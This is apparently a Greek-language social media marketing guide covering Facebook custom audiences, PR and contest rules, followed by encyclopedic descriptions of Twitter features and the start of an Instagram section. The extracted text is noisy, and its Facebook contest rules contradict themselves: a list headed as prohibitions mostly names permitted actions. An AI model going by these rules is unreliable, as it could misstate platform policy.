➢ Προσαρμοσμένα κοινά ιστότοπου Το Facebook κινείται σε αυτό που είναι γνωστό ως pay-to-play μοντέλο, οπότε οι έμποροι θα πρέπει να βρουν καλύτερους τρόπους να προσεγγίσουν τους θαυμαστές τους. Ενώ μπορείτε να κάνετε διαφημίσεις που στοχεύουν συγκεκριμένους οπαδούς, μία από τις καλύτερες συμβουλές για το μάρκετινγκ στο Facebook είναι να χρησιμοποιήσετε αντί αυτού τα Προσαρμοσμένα κοινά του ιστότοπου. Όταν χρησιμοποιείτε Προσαρμοσμένα κοινά ιστότοπου, μπορείτε να τρέξετε διαφημίσεις στο Facebook μέσω του Power Editor. Αυτό σας επιτρέπει να στοχεύετε όσους έχουν επισκεφθεί τον ιστότοπό σας ή μια συγκεκριμένη σελίδα στον ιστότοπό σας, όταν επιστρέφουν στο Facebook. Αυτό είναι χρήσιμο για πολλούς διαφορετικούς λόγους. Ας πούμε ότι κάποιος διαβάζει έναν οδηγό στον ιστότοπό σας, εάν τρέχετε Προσαρμοσμένα κοινά ιστότοπου, όταν πηγαίνει πίσω στο Facebook, αντί να βλέπουν την κανονική τους σελίδα, θα δουν ένα πρότυπο για να κατεβάσουν που αφορά τον οδηγό σας. Εάν κάποιος διαβάζει ένα άρθρο σχετικά με τον τρόπο χρήσης ενός από τα προϊόντων σας, μπορεί να στοχευθεί στο Facebook με ένα σύνδεσμο σε ένα βίντεο σχετικά με τον ”χρήσης

αυτού του προϊόντος στη ροή ειδήσεων του Facebook. Ενώ αυτοί είναι μόνο μερικοί τρόποι με τους οποίους μπορείτε ν α χρησιμοποιήσετε αυτό το εργαλείο για να βελτιώσετε το μάρκετινγκ σας στο Facebook, υπάρχουν πολυάριθμα άλλα εκεί έξω. Το βασικό συμπέρασμα είναι να γίνετε δημιουργικοί με πώς στοχεύετε το κοινό σας. Μπορείτε να δημιουργήσετε περισσότερους οδηγούς και καλύτερους πελάτες με τις προσπάθειες μάρκετινγκ στο Facebook αν κινηθείτε πέρα από τον κανόνα.

➢ Αυξήστε τις προσπάθειες δημοσίων σχέσεων Με όλα όσα προσφέρει το Facebook για τους marketers του, είναι εύκολο να χάσει κανείς από τα μάτια του το γεγονός ότι είναι ένα εργαλείο που υποστηρίζει τις προσπάθειες δημοσίων σχέσεων της μάρκας σας. Η αλήθεια είναι ότι οι δημοσιογράφοι βασίζονται στο”Facebook, ώστε να αντλούν ιστορίες και το Facebook προσυπογράφει την πλατφόρμα ως ένα Rolodex με ένα δισεκατομμύριο επαφές για τους δημοσιογράφους. Εκεί που η εταιρεία σας μπορεί να βασιζόταν σε ένα δελτίο τύπου προηγουμένως, τώρα μπορείτε να μοιραστείτε την ιστορία σας στο Facebook. Παρέχει μια επιλογή χαμηλής τριβής για την αναφορά των γεγονότων στη περίπτωση έκτακτων ειδήσεων ή την παροχή σχολίων σε αναδυόμενα θέματα που θα σας βοηθήσουν να μεταδώσετε την ιστορία σας στο μέσα ενημέρωσης και το κοινό γρηγορότερα. Μπορείτε να κάνετε έρευνα για τα μέλη των μέσων ενημέρωσης χρησιμοποιώντας το Facebook Graph Search. Αυτό το εργαλείο σας επιτρέπει να καταλάβετε γρήγορα ποιος εργάζεται πού, ποιες ιστοσελίδες και δημοσιεύσεις σας μπορεί να διαβάζουν οι θαυμαστές σας, ή να ακολουθήσετε όσους έχουν δημοσιογραφικό σχετικό δημόσιο τίτλο. Όταν κάνετε αναζήτηση για έναν δημοσιογράφο και το όνομα του μέσου ενημέρωσης, ”μπορείτε να βρείτε πιθανές επαφές. Επιπλέον, παρακολουθώντας ενεργά τις σελίδες στο Facebook των μέσων ενημέρωσηςστόχου μπορεί να είναι ένας καλός τρόπος για να τοποθετήσετε την εταιρεία σας ή την επωνυμία σας ως πηγή για ιστορίες. Πολλά κανάλια μέσων ενημέρωσης θα υποβάλλουν αιτήσεις για πηγές μέσω των λογαριασμών τους στα μέσα κοινωνικής δικτύωσης. Εσείς μπορείτε να φτιάξετε μια λίστα ειδοποιήσεων των επικεφαλής σελίδων σας σε ένα σημείο για να τις παρατηρείτε σε συνεχή βάση.

➢ Εκτέλεση προωθητικών ενεργειών στο Facebook και Διαγωνισμοί Εδώ και χρόνια, το Facebook λέει ότι οι προωθητικές ενέργειες και οι διαγωνισμοί έπρεπε να διεξάγονται μέσω εφαρμογών και όχι στα χρονοδιαγράμματα, ή τοίχους, όπως συνήθιζαν να τους αποκαλούν. Οι εταιρείες δεν επιτρέπεται να ζητούν από κάποιον να σχολιάσει ή να κάνει like σε μια φωτογραφία ή μια ανάρτηση για να συμμετάσχει για να κερδίσει. Ωστόσο, όλα αυτά έχουν αλλάξει. Το Facebook ανακοίνωσε ότι άλλαξε τους όρους του για να το κάνει ευκολότερο για τις επιχειρήσεις να κάνουν και να διεξάγουν προωθητικές ενέργειες στο Facebook. Αφήνουν τις σελίδες να διεξάγουν διαγωνισμούς και προωθητικές ενέργειες στο χρονολόγιό τους. Σύμφωνα με το Facebook, οι επιχειρήσεις μπορούν πλέον να συλλέγουν συμμετοχές βάζοντας κάποιον να σχολιάσει, να κάνει like ή να δημοσιεύσει σε μια σελίδα ή μια ανάρτηση. Μπορούν να συλλέγουν συμμετοχές βάζοντας τους χρήστες να στείλουν μήνυμα στη σελίδα, και μπορούν να χρησιμοποιούν τα likes ως μηχανισμό ψηφοφορίας. Οι επιχειρήσεις με σελίδες στο Facebook έχουν πολλές περισσότερες επιλογές τώρα, και μπορούν να διεξάγουν έναν διαγωνισμό γρήγορα με τη δημοσίευση μιας φωτογραφίας ή κείμενο και ζητώντας από τους χρήστες να κάνουν like ή να σχολιάσουν την εν λόγω ανάρτηση. Μπορείτε να έχετε πολύ μεγαλύτερη συμμετοχή στη σελίδα σας με το να διεξάγετε διαγωνισμούς. Κανόνες για προωθητικές ενέργειες και διαγωνισμούς 1. Εάν χρησιμοποιείτε το Facebook για να διαχειριστείτε μια προωθητική ενέργεια ή επικοινωνία, είστε υπεύθυνοι για τη νόμιμη λειτουργία της προώθησης, συμπεριλαμβανομένης των επίσημων κανόνων, τις προϋποθέσεις συμμετοχής και τους όρους της προσφοράς, τη συμμόρφωση με τους κανονισμούς και τους κανόνες που διέπουν την προωθητική ενέργεια και τα προσφερόμενα βραβεία. 2. Οι προωθητικές ενέργειες στο Facebook πρέπει να έχουν πλήρη αποδέσμευση του Facebook από κάθε συμμετέχοντα ή συμμετέχουσα, και μια αναγνώριση ότι η προωθητική ενέργεια με κανέναν τρόπο δεν υποστηρίζεται, χρηματοδοτείται ή διαχειρίζεται από το Facebook ή έστω συνδέεται με το Facebook. 3. Οι προωθητικές ενέργειες πρέπει να διαχειρίζονται σε εφαρμογές στο Facebook ή σε σελίδες στο Facebook. Προσωπικό timelines δεν μπορούν να χρησιμοποιηθούν για

τη διαχείριση μιας προώθησης "μοιραστείτε το χρονολόγιό σας για να λάβετε μέρος" ή "μοιραστείτε το χρονολόγιο του φίλου σας για να λάβετε συμμετοχές". 4. Το Facebook δεν θα βοηθήσει στη διαχείριση της προώθησης και η επιχείρηση συμφωνεί ότι εάν χρησιμοποιεί τις υπηρεσίες για τη διαχείριση της προώθησης, θα το πράττει με δική της ευθύνη. Δεοντολογίες και απαγορεύσεις των διαγωνισμών του Facebook 1. Μην απαιτείτε από τους ανθρώπους να δημοσιεύουν ένα σχόλιο ή να κάνουν like σε ένα ανάρτηση για να συμμετάσχουν στο διαγωνισμό. 2. Απαιτούν από κάποιον να δημοσιεύσει κάτι απευθείας στο χρονολόγιο της εταιρείας για να συμμετάσχει. 3. Χρησιμοποιήστε τα likes ως τρόπο ψηφοφορίας. 4. Να απαιτείται κάποιος να στείλει μήνυμα στη σελίδα για να συμμετάσχει. 5. Ανακοινώστε τον νικητή στη σελίδα της επιχείρησης. 6. Να απαιτείται από τους συμμετέχοντες να επιστρέφουν στη σελίδα για να δουν ποιος κέρδισε το διαγωνισμό για να κερδίσουν το βραβείο. 7. Χρησιμοποιήστε το πρόσθετο κουμπί like σε έναν ιστότοπο ως τρόπο ψηφοφορίας. 8. Χρησιμοποιήστε ένα πρόσθετο εφαρμογής για να δημοσιεύσετε συμμετοχές στο διαγωνισμό απευθείας στη σελίδα. 9. Εκτελέστε τον διαγωνισμό μέσω της εφαρμογής του Facebook. 10. Μην απαιτείτε από κάποιον να μοιραστεί μια φωτογραφία ή μια ανάρτηση για να συμμετάσχει. 11. Μην απαιτείτε να δημοσιεύσει κάποιος κάτι στο χρονολόγιο του ή στο χρονολόγιο των φίλων του για να συμμετάσχει στο διαγωνισμό. 12. Μην απαιτείτε από κάποιον να κάνει tag τον εαυτό του σε μια εικόνα για να ψηφίσει ή να συμμετάσχει. 13. Μην ζητάτε να συμμετέχει όποιος κάνει like στη σελίδα για να κερδίσει. Αν αναρωτιέστε αν ο διαγωνισμός θα λειτουργήσει στο πλαίσιο με τους κανόνες του Facebook, σκεφτείτε πού είναι η εμπλοκή που θα συμβεί. Αν είναι απευθείας στο χρονολόγιο

της σελίδας ή μέσω της εφαρμογής μηνυμάτων, τότε μάλλον είναι εντάξει. Εσείς μπορείτε ακόμα να χρησιμοποιήσετε εφαρμογές τρίτων για τη διεξαγωγή διαγωνισμών. Επιπλέον, λάβετε υπόψη ότι μπορείτε να ενθαρρύνετε τους ανθρώπους να κοινοποιήσουν τον διαγωνισμό ή την ανάρτηση, αλλά δεν μπορείτε να τους απαιτήσετε να το κάνουν για να λάβουν μέρος. Πολλές εφαρμογές τρίτων χρησιμοποιούν για να απαιτούν από τους ανθρώπους να μοιράζονται τη σελίδα για να παίρνουν επιπλέον συμμετοχές, αλλά αυτή η πρακτική σύντομα θα σταματήσει. Επιλογή του τύπου του διαγωνισμού που θα διεξαγάγετε με περισσότερες επιλογές έρχεται”η δύσκολη απόφαση για το είδος του διαγωνισμού να διεξαχθεί. Μπορείτε να το χωρίσετε σε αυτές τις δύο επιλογές. ❖ Διαγωνισμοί χρονολογίου Facebook που σας δίνουν περισσότερη εμπλοκή γρήγορα. ❖ Διαγωνισμοί εφαρμογών Facebook που σας δίνουν μια λίστα με email διευθύνσεων που μπορείτε να κρατήσετε. Ωστόσο, υπάρχουν μερικές περισσότερες σκέψεις από αυτές τις βασικές ανάγκες. Θα πρέπει να λάβετε υπόψη τα πλεονεκτήματα και τα μειονεκτήματα κάθε τύπου διαγωνισμού πριν αποφασίσετε.

Διαγωνισμοί χρονοδιαγράμματος Πλεονεκτήματα •

εύκολη και γρήγορη ρύθμιση”

•

εύκολο και διασκεδαστικό να εμπλακείτε με τους συμμετέχοντες”

•

δωρεάν διεξαγωγή”

•

λειτουργεί σε κινητές συσκευές”

Μειονέκτηματα •

δεν λαμβάνετε διευθύνσεις ηλεκτρονικού ταχυδρομείου με τις συμμετοχές”

•

δεν έχετε τη δυνατότητα να κοινοποιήσετε εκ νέου τις αναρτήσεις εύκολα και να ενημερώσετε τους ανθρώπους για τον διαγωνισμό περισσότερες από μία φορές”

•

πρέπει να δημοσιεύσετε τους κανόνες του διαγωνισμού και απαλλαγή από την ευθύνη του Facebook για τον Διαγωνισμό κάπου στη δημοσίευση”

•

πιθανότατα δεν θα αυξήσει τους θαυμαστές τόσο πολύ όσο η εφαρμογή”

•

θα μπορούσε να είναι πιο δύσκολο να ειδοποιηθούν οι νικητές εάν δεν δίνουν προσοχή”

•

αν απαιτείτε ένα σχόλιο και ένα like για να λάβετε μέρος, θα μπορούσε να είναι δύσκολο να επικυρωθεί”

Διαγωνισμοί εφαρμογών facebook Pro Πλεονεκτήματα •

μπορείτε να συγκεντρώσετε διευθύνσεις email για να συνδεθείτε με πιθανούς πελάτες ή πελάτες ξανά”

•

υπάρχει περισσότερος έλεγχος σχετικά με τον τρόπο διεξαγωγής του διαγωνισμού

•

φαίνεται και αισθάνεται”

•

μπορείτε να κάνετε συμμετοχές με ομοειδείς συμμετοχές, ώστε να μπορείτε να αυξήσετε τη βάση των θαυμαστών σας”

•

μπορείτε εύκολα να κάνετε επαναχρησιμοποίηση για να προωθήσετε τον διαγωνισμό πολλές φορές””

•

οι κανόνες μπορούν να αναρτηθούν εύκολα στην εφαρμογή”

•

υπάρχουν πολυάριθμες εφαρμογές διαγωνισμών που έχουν μετρήσεις για να δείχνουν δεδομένα σχετικά με το πότε οι άνθρωποι έχουν συμμετάσχει και από πού έχουν συμμετάσχει”

Μειονέκτημα •

το εμπόδιο εισόδου είναι λίγο υψηλότερο”

•

ορισμένες εφαρμογές διαγωνισμών δεν λειτουργούν στο κινητό συσκευές”

•

υπάρχει ένα κόστος σε αυτόν τον τύπο διαγωνισμού”

➢ Βέλτιστες πρακτικές για διαγωνισμούς Οι διαγωνισμοί χρονογραμμής είναι εξαιρετικοί για να τους αξιοποιήσουν οι επιχειρήσεις. Ωστόσο, υπάρχουν ορισμένες βέλτιστες πρακτικές που πρέπει να ακολουθήσετε για τον διαγωνισμό σας στο Facebook. 1. Χρησιμοποιήστε μια εικόνα για να περιγράψετε τα βασικά στοιχεία του διαγωνισμού. Οι εικόνες μπορούν να μοιραστούν και είναι πιο ελκυστικότερες από

τις αναρτήσεις κειμένου και το κείμενο ταξιδεύει με την εικόνα κατά τη διάρκεια της κοινοποίησής της. 2. Απαιτούμενα σχόλια. Εάν απαιτείτε από κάποιον να σχολιάσει, μπορείτε να επισημάνετε το άτομο που κέρδισε σε ένα σχόλιο όταν έχετε επιλέξει τον νικητή. 3. Κάντε τους κανόνες σαφείς στην ανάρτησή σας. Δώστε στους συμμετέχοντες βασικούς, σαφείς κανόνες για να τους ακολουθήσουν. Εάν χρειάζεστε περισσότερο χώρο, ίσως να θέλετε να φιλοξενήσετε τους κανόνες στον ιστότοπό σας και να παραπέμπετε τους ανθρώπους εκεί χρησιμοποιώντας έναν σύνδεσμο. 4. Καρφιτσώστε την ανάρτησή σας στην κορυφή της σελίδας σας για ορατότητα. 5. Κάντε το μήκος της αρκετά σύντομο. Είναι δύσκολο να αναδημοσιεύσετε τον σύνδεσμο, οπότε κάντε τη διάρκεια του διαγωνισμού σας όχι περισσότερο από μία εβδομάδα. 6. Χρησιμοποιήστε εφαρμογές για μεγαλύτερα βραβεία ή για τις περιπτώσεις που θα θέλετε να συλλέγετε leads και emails. Οι εφαρμογές είναι ευκολότερες για εσάς να προωθήσετε και να μπορείτε να συνδέσετε απευθείας με τον πάροχο email σας για να συγχρονίσετε τα email που συλλέγετε.

Twitter

Το Twitter είναι μια υπηρεσία microblogging και κοινωνικής δικτύωσης στην οποία οι χρήστες δημοσιεύουν και αλληλεπιδρούν με μηνύματα γνωστά ως "tweets" και ανήκει στην αμερικανική εταιρεία Twitter, Inc. Οι εγγεγραμμένοι χρήστες μπορούν να δημοσιεύουν, να κάνουν like και να κάνουν retweet tweets, ωστόσο οι μη εγγεγραμμένοι χρήστες έχουν τη δυνατότητα να διαβάζουν μόνο τα tweets που είναι διαθέσιμα δημόσια. Οι χρήστες αλληλεπιδρούν με το Twitter μέσω λογισμικού περιήγησης ή frontend για κινητά ή προγραμματιστικά μέσω των API του. Πριν από τον Απρίλιο του 2020, οι υπηρεσίες ήταν

προσβάσιμες μέσω SMS. Τα tweets περιορίζονταν αρχικά σε 140 χαρακτήρες, αλλά το όριο διπλασιάστηκε σε 280 για τις γλώσσες εκτός της ΚΔΚ τον Νοέμβριο του 2017. Τα tweets ήχου και βίντεο παραμένουν περιορισμένα σε 140 δευτερόλεπτα για τους περισσότερους λογαριασμούς. Το Twitter δημιουργήθηκε από τους Jack Dorsey, Noah Glass, Biz Stone και Evan Williams τον Μάρτιο του 2006 και ξεκίνησε τον Ιούλιο του ίδιου έτους. Η Twitter, Inc. εδρεύει στο Σαν Φρανσίσκο της Καλιφόρνιας και έχει περισσότερα από 25 γραφεία σε όλο τον κόσμο. Μέχρι το 2012, περισσότεροι από 100 εκατομμύρια χρήστες ανέβαζαν 340 εκατομμύρια”tweets την ημέρα και η υπηρεσία διαχειριζόταν κατά μέσο όρο 1,6 δισεκατομμύρια ερωτήματα αναζήτησης την ημέρα. Το 2013, ήταν ένας από τους δέκα ιστότοπους με τις περισσότερες επισκέψεις και έχει χαρακτηριστεί ως "το SMS του Διαδικτύου. Στις αρχές του 2019, το Twitter είχε περισσότερους από 330 εκατομμύρια ενεργούς χρήστες σε μηνιαία βάση. Στην πράξη, η συντριπτική πλειοψηφία των tweets γράφεται από μια μειοψηφία χρηστών. Στις 25 Απριλίου 2022, το διοικητικό συμβούλιο του Twitter συμφώνησε σε εξαγορά ύψους 44 δισεκατομμυρίων δολαρίων από τον Έλον Μασκ, τον διευθύνοντα σύμβουλο της SpaceX”και της Tesla, καθιστώντας την δυνητικά μια από τις μεγαλύτερες συμφωνίες για να γίνει μια εταιρεία ιδιωτική.

Εμφάνιση και χαρακτηριστικά

-

Tweet

Τα tweets είναι από προεπιλογή δημόσια ορατά, αλλά οι αποστολείς μπορούν να περιορίσουν την παράδοση των μηνυμάτων μόνο στους οπαδούς τους. Οι χρήστες μπορούν να κάνουν σίγαση σε χρήστες με τους οποίους δεν επιθυμούν να αλληλοεπιδρούν, να

αποκλείουν λογαριασμούς από την προβολή των tweets τους και να αφαιρούν λογαριασμούς από τη λίστα των οπαδών τους. Οι χρήστες μπορούν να κάνουν tweet μέσω του ιστότοπου του Twitter, συμβατών εξωτερικών εφαρμογών (όπως για smartphones) ή μέσω της υπηρεσίας σύντομων μηνυμάτων (SMS) που είναι διαθέσιμη σε ορισμένες χώρες. Οι χρήστες μπορούν να εγγραφούν στα tweets άλλων χρηστών (αυτό είναι γνωστό ως "follow") και οι συνδρομητές είναι γνωστοί ως "followers" ή "tweeps", ένα αρκτικόλεξο των λέξεων Twitter και peeps. Μεμονωμένα tweets μπορούν να προωθηθούν από άλλους χρήστες στη δική τους ροή, μια διαδικασία γνωστή ως "retweet". Το 2015, το Twitter εγκαινίασε το "quote tweet" (που αρχικά ονομαζόταν "retweet with comment", μια λειτουργία που επιτρέπει στους χρήστες να προσθέσουν ένα σχόλιο στο”retweet τους, φωλιάζοντας το ένα tweet στο άλλο. Οι χρήστες μπορούν επίσης να κάνουν "like" (πρώην "favorite") σε μεμονωμένα tweets. Οι μετρητές για τα "likes", τα "retweets" και τις απαντήσεις εμφανίζονται δίπλα στα αντίστοιχα κουμπιά σε χρονογραμμές, όπως στις σελίδες προφίλ και στα αποτελέσματα αναζήτησης. Μετρητές για likes και retweets υπάρχουν και στην αυτόνομη σελίδα ενός tweet. Από τον Σεπτέμβριο του 2020, τα tweets με παραθέματα, παλαιότερα γνωστά ως "retweet με σχόλιο", έχουν δικό τους μετρητή στη σελίδα του tweet τους. Μέχρι το παλαιό desktop frontend που καταργήθηκε το 2020, εμφανιζόταν μια σειρά με μικροσκοπικές φωτογραφίες προφίλ έως και δέκα χρηστών που έκαναν like ή retweet, καθώς και ένας μετρητής απαντήσεων στο tweet δίπλα στο αντίστοιχο κουμπί στη σελίδα ενός tweet. Το Twitter επιτρέπει στους χρήστες να ενημερώνουν το προφίλ τους μέσω του κινητού τους τηλεφώνου είτε μέσω γραπτών μηνυμάτων είτε μέσω εφαρμογών που κυκλοφόρησαν για ορισμένα smartphones και tablets. Το Twitter έχει συγκριθεί με έναν διαδικτυακό πελάτη Internet Relay Chat (IRC): Ως κοινωνικό δίκτυο, το Twitter περιστρέφεται γύρω από την αρχή των οπαδών. Όταν επιλέγετε να ακολουθήσετε έναν άλλο χρήστη του Twitter, τα tweets αυτού του χρήστη εμφανίζονται με αντίστροφη χρονολογική σειρά στην κύρια σελίδα του Twitter. Αν ακολουθήσετε 20 άτομα, θα δείτε ένα μείγμα από tweets να κυλούν στη σελίδα: ενημερώσεις για πρωινό-δημητριακά, νέους συνδέσμους, μουσικές προτάσεις, ακόμη και σκέψεις για το μέλλον της εκπαίδευσης. Οι χρήστες μπορούν να ομαδοποιήσουν αναρτήσεις ανά θέμα ή τύπο χρησιμοποιώντας hashtags - λέξεις ή φράσεις με πρόθεμα το σύμβολο "#". Ομοίως, το σύμβολο "@"”ακολουθούμενο από ένα όνομα χρήστη χρησιμοποιείται για την αναφορά ή την απάντηση σε άλλους χρήστες.

Το 2014, εν όψει του Παγκοσμίου Κυπέλλου Ποδοσφαίρου, το Twitter εισήγαγε τα hashflags, ειδικά hashtags που δημιουργούν αυτόματα ένα προσαρμοσμένο emoji δίπλα τους για ορισμένο χρονικό διάστημα, μετά την επιτυχία μιας παρόμοιας καμπάνιας κατά τη διάρκεια του Παγκοσμίου Κυπέλλου του 2010. Τα hashflags μπορεί να δημιουργούνται από το ίδιο το”Twitter (όπως για την ευαισθητοποίηση για κοινωνικά θέματα) ή να αγοράζονται από εταιρείες (όπως για την προώθηση προϊόντων και εκδηλώσεων). Για να αναδημοσιεύσει ένα μήνυμα από έναν άλλο χρήστη του Twitter και να το μοιραστεί με τους δικούς του οπαδούς, ο χρήστης μπορεί να κάνει κλικ στο κουμπί retweet μέσα στο Tweet. Οι χρήστες μπορούν να απαντούν στις απαντήσεις άλλων λογαριασμών. Από τον Νοέμβριο του 2019, οι χρήστες μπορούν να αποκρύπτουν τις απαντήσεις στα μηνύματά τους. Από τον Μάιο του 2020, οι χρήστες μπορούν να επιλέξουν ποιος μπορεί να απαντήσει σε κάθε tweet τους πριν το στείλουν: οποιοσδήποτε, λογαριασμοί που ακολουθούν τον αποστολέα, συγκεκριμένοι λογαριασμοί και κανένας. Η δυνατότητα αυτή αναβαθμίστηκε τον Ιούλιο του 2021, ώστε να ισχύει αναδρομικά για τα tweets μετά την αποστολή τους.

-

Χρήση SMS

Μέσω SMS, οι χρήστες μπορούν να επικοινωνούν με το Twitter μέσω πέντε αριθμών πύλης: σύντομοι κωδικοί για τις Ηνωμένες Πολιτείες, τον Καναδά, την Ινδία, τη Νέα Ζηλανδία και ένας αριθμός με έδρα τη Νήσο Μαν για διεθνή χρήση. Υπάρχει επίσης ένας σύντομος κωδικός στο Ηνωμένο Βασίλειο, ο οποίος είναι προσβάσιμος μόνο σε όσους χρησιμοποιούν τα δίκτυα Vodafone, O2 και Orange. Στην Ινδία, δεδομένου ότι το Twitter υποστηρίζει tweets μόνο από την Bharti Airtel, μια εναλλακτική πλατφόρμα που ονομάζεται smsTweet”δημιουργήθηκε από έναν χρήστη για να λειτουργεί σε όλα τα δίκτυα. Μια παρόμοια πλατφόρμα που ονομάζεται GladlyCast υπάρχει για χρήστες κινητών τηλεφώνων στη Σιγκαπούρη και τη Μαλαισία. Τα tweets ορίστηκαν σε ένα σε μεγάλο βαθμό με περιοριστικό όριο 140 χαρακτήρων για συμβατότητα με τα μηνύματα SMS, εισάγοντας τη στενογραφική σημειογραφία και την αργκό που χρησιμοποιείται συνήθως στα μηνύματα SMS. Το όριο των 140 χαρακτήρων αύξησε επίσης τη χρήση υπηρεσιών συντόμευσης URL, όπως bit.ly, goo.gl, tinyurl.com, tr.im, και άλλων υπηρεσιών φιλοξενίας περιεχομένου, όπως TwitPic, memozu.com και NotePub, για να φιλοξενήσει περιεχόμενο πολυμέσων και κείμενο μεγαλύτερο από 140 χαρακτήρες. Από τον Ιούνιο του 2011, το Twitter χρησιμοποιεί το δικό του domain t.co για την αυτόματη

συντόμευση όλων των διευθύνσεων URL που αναρτώνται στον ιστότοπό του, καθιστώντας έτσι περιττές άλλες συσκευές συντόμευσης συνδέσμων για την τήρηση του ορίου των 140 χαρακτήρων του Twitter. Τον Απρίλιο του 2020, το Twitter διέκοψε τη δυνατότητα λήψης μηνυμάτων SMS που περιείχαν το κείμενο των νέων tweets στις περισσότερες χώρες.

-

Όρια χαρακτήρων

Το 2016, το Twitter ανακοίνωσε ότι τα μέσα όπως φωτογραφίες, βίντεο και το ψευδώνυμο του ατόμου, δεν θα υπολογίζονται στο ήδη περιορισμένο όριο των 140 χαρακτήρων. Μια ανάρτηση φωτογραφίας του χρήστη συνήθιζε να μετράει για ένα μεγάλο κομμάτι ενός Tweet, περίπου 24 χαρακτήρες Τα συνημμένα αρχεία και οι σύνδεσμοι δεν θα αποτελούσαν επίσης πλέον μέρος του ορίου χαρακτήρων. Από τις 30 Μαρτίου 2017, τα χερούλια του Twitter βρίσκονται εκτός του ίδιου του tweet, επομένως δεν υπολογίζονται πλέον στο όριο χαρακτήρων Μόνο τα νέα χερούλια του Twitter”που προστίθενται στη συζήτηση υπολογίζονται στο όριο. Το 2017, το Twitter διπλασίασε το ιστορικό όριο των 140 χαρακτήρων σε 280. Σύμφωνα με το νέο όριο, οι γλυφές μετράνε ως μεταβλητός αριθμός χαρακτήρων, ανάλογα με τη γραφή από την οποία προέρχονται: τα περισσότερα ευρωπαϊκά γράμματα και οι μορφές στίξης μετράνε ως ένας χαρακτήρας, ενώ κάθε γλυφή CJK μετράει ως δύο, έτσι ώστε μόνο 140 τέτοιες γλυφές μπορούν να χρησιμοποιηθούν σε ένα tweet.

-

Συντόμευση URL

Το t.co είναι μια υπηρεσία συντόμευσης URL που δημιουργήθηκε από το Twitter. Είναι διαθέσιμη μόνο για συνδέσμους που δημοσιεύονται στο Twitter και όχι για γενική χρήση. Όλοι οι σύνδεσμοι που δημοσιεύονται στο Twitter χρησιμοποιούν ένα περιτύλιγμα t.co. Το Twitter ελπίζει ότι η υπηρεσία θα είναι σε θέση να προστατεύει τους χρήστες από κακόβουλες ιστοσελίδες και θα τη χρησιμοποιεί για να παρακολουθεί τα κλικ σε συνδέσμους μέσα σε tweets. Έχοντας χρησιμοποιήσει τις υπηρεσίες τρίτων μερών TinyURL και bit.ly, το Twitter άρχισε να πειραματίζεται με τη δική του υπηρεσία συντόμευσης URL για ιδιωτικά μηνύματα τον Μάρτιο

του 2010 χρησιμοποιώντας το domain twt.tl, πριν αγοράσει το domain t.co. Στις 7 Ιουνίου 2011, το Twitter ανακοίνωσε ότι επεκτείνει τη λειτουργία.

-

Ενσωματωμένη υπηρεσία κοινής χρήσης φωτογραφιών

Την 1η Ιουνίου 2011, το Twitter ανακοίνωσε τη δική του ολοκληρωμένη υπηρεσία κοινής χρήσης φωτογραφιών που επιτρέπει στους χρήστες να ανεβάζουν μια φωτογραφία και να την επισυνάπτουν σε ένα Tweet απευθείας από το Twitter.com. Οι χρήστες έχουν τώρα επίσης

τη

δυνατότητα

να

προσθέτουν

φωτογραφίες

στην

αναζήτηση

του

Twitter”προσθέτοντας hashtags στο tweet. Το Twitter σχεδιάζει επίσης να παρέχει φωτογραφικές γκαλερί σχεδιασμένες να συγκεντρώνουν και να κοινοποιούν όλες τις φωτογραφίες που έχει ανεβάσει ένας χρήστης στο Twitter και σε υπηρεσίες τρίτων, όπως το TwitPic. Στις 29 Μαρτίου 2016, το Twitter εισήγαγε τη δυνατότητα προσθήκης λεζάντας έως και 480 χαρακτήρων σε κάθε εικόνα που επισυνάπτεται σε ένα tweet, προσβάσιμη μέσω λογισμικού ανάγνωσης οθόνης ή με το πέρασμα του ποντικιού πάνω από μια εικόνα μέσα στο”TweetDeck. Τον Απρίλιο του 2022, το Twitter κατέστησε τη δυνατότητα προσθήκης και προβολής λεζάντας παγκοσμίως διαθέσιμη. Οι περιγραφές μπορούν να προστεθούν σε οποιαδήποτε ανεβασμένη εικόνα με όριο 1000 χαρακτήρες. Οι εικόνες που έχουν περιγραφή θα διαθέτουν ένα σήμα που θα γράφει ALT στην κάτω αριστερή γωνία, το οποίο θα εμφανίζει την περιγραφή όταν κάνετε κλικ.

-

Δημοσκοπήσεις

Το 2015, το Twitter άρχισε να αναπτύσσει τη δυνατότητα επισύναψης ερωτήσεων δημοσκόπησης σε tweets. Οι δημοσκοπήσεις είναι ανοιχτές για έως και 7 ημέρες και οι ψηφοφόροι δεν αναγνωρίζονται προσωπικά. Αρχικά, οι δημοσκοπήσεις μπορούσαν να έχουν μόνο δύο επιλογές με μέγιστο αριθμό είκοσι χαρακτήρων ανά επιλογή. Αργότερα, προστέθηκε η δυνατότητα προσθήκης τεσσάρων επιλογών με έως και 25 χαρακτήρες ανά επιλογή.

Instagram

Το Instagram είναι μια υπηρεσία κοινωνικής δικτύωσης για κοινή χρήση φωτογραφιών και βίντεο που ιδρύθηκε το 2010 από τους Kevin Systrom και Mike Krieger και αργότερα εξαγοράστηκε από την αμερικανική εταιρεία Facebook Inc. Η εφαρμογή επιτρέπει στους χρήστες να ανεβάζουν πολυμέσα που μπορούν να επεξεργαστούν με φίλτρα και να οργανωθούν με hashtags και γεωγραφικές επισημάνσεις. Οι αναρτήσεις μπορούν να κοινοποιηθούν δημοσίως ή με προεπιλεγμένους ακολούθους. Οι χρήστες μπορούν να περιηγηθούν στο περιεχόμενο άλλων χρηστών με βάση την ετικέτα και την τοποθεσία, να δουν περιεχόμενο που βρίσκεται σε τάση, να κάνουν like σε φωτογραφίες και να ακολουθήσουν άλλους χρήστες για να προσθέσουν το περιεχόμενό τους σε μια προσωπική ροή. Το Instagram αρχικά ξεχώριζε επιτρέποντας το περιεχόμενο να πλαισιώνεται μόνο σε τετράγωνο (1:1) λόγο διαστάσεων 640 pixels για να ταιριάζει με το πλάτος της οθόνης του iPhone εκείνη την εποχή. Το 2015, ο περιορισμός αυτός αμβλύνθηκε με αύξηση στα 1080”pixels. Πρόσθεσε επίσης λειτουργίες ανταλλαγής μηνυμάτων, τη δυνατότητα να περιλαμβάνει πολλαπλές εικόνες ή βίντεο σε μία δημοσίευση, καθώς και μια λειτουργία”Stories - παρόμοια με τον κύριο ανταγωνιστή του Snapchat - η οποία επέτρεπε στους χρήστες να δημοσιεύουν το περιεχόμενό τους σε μια διαδοχική ροή, με κάθε δημοσίευση να είναι προσβάσιμη στους άλλους για 24 ώρες. Από τον Ιανουάριο του 2019, το Stories χρησιμοποιούνται από 500 εκατομμύρια ανθρώπους καθημερινά. Το Instagram ξεκίνησε αρχικά για το iOS τον Οκτώβριο του 2010 και κέρδισε 